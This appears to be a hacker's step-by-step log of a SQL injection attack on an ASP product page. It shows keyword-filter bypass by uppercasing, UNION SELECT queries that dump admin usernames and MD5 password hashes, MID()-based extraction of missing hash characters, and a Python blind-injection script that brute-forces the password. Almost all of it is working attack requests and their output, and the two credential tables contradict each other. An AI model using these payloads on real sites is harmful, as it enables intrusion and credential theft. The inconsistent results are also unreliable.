http://www.xxx.cn/cp.asp?classid=3
http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字
http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大写绕过
http://www.xxx.cn/cp.asp?classid=3 AND 1=2
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常
http://www.xxx.cn/cp.asp?classid=3 ORDER BY 9%16 //错误
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,2,3,4,5,6,7,8 FROM ADMIN%16 //返回正常,爆出可显示位2,说明存在admin表
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,id,3,4,5,6,7,8 FROM ADMIN%16 //返回4,5,7 说明分别有三个用户,ID分别为4,5,7

http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 1 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 2 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT TOP 3 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //admin8
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //lxiaofu
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //admin
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //admin8
再或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,admin,3,4,5,6,7,8 FROM ADMIN%16 //爆出 admin,admin8,lxiaofu

http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,pwd,3,4,5,6,7,8 FROM ADMIN%16 //爆出 4817cc8dcbb3fb5,ae0284ccc20bdde,bbd06203b2ba922


整理下当前结果:
id admin pwd
4 lxiaofu bbd06203b2ba922
5 admin ae0284ccc20bdde
7 admin8 4817cc8dcbb3fb5

但是以上MD5密文都是15位,正常应该是16位或者32位:

先看一下pwd字段的长度:
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,LEN(pwd),3,4,5,6,7,8 FROM ADMIN%16 //返回16,表示密文是16位

已知密文是16位,再来截取出第16位,条件为ID
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=4%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=5%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,MID(pwd,16,1),3,4,5,6,7,8 FROM ADMIN WHERE id=7%16 //c
或者
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=4),3,4,5,6,7,8 FROM ADMIN%16 //f
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=5),3,4,5,6,7,8 FROM ADMIN%16 //8
http://www.xxx.cn/cp.asp?classid=3 UNION SELECT 1,(SELECT MID(pwd,16,1) FROM admin WHERE id=7),3,4,5,6,7,8 FROM ADMIN%16 //c


整理下当前结果:
id admin pwd
4 lxiaofu bbd06203b2ba922f
5 admin 4817cc8dcbb3fb58 
7 admin8 ae0284ccc20bddec


或者使用测试盲注脚本:

 

import requests

heads = {‘User-Agent‘: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0‘}
payloads=‘abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.‘

pwd=[]

for i in range(1,17):
    for payload in payloads:
        url = "http://www.xxx.cn/cp.asp?classid=24 AND ASC((SELECT TOP 1 MID(pwd,{},1) FROM admin))={}".format(i,ord(payload))
        response=(requests.get(url=url,headers=heads).content).decode(encoding=‘gbk‘)
        # print(url)
        if str("?Product_ID=194") in response:
            pwd.append(payload)
            print(‘\n‘,‘pwd is:‘,payload,end=‘‘)
            break
        else:
            print(‘.‘,end=‘‘)
print(‘\n [Done] pwd:‘,‘‘.join([i for i in pwd]))
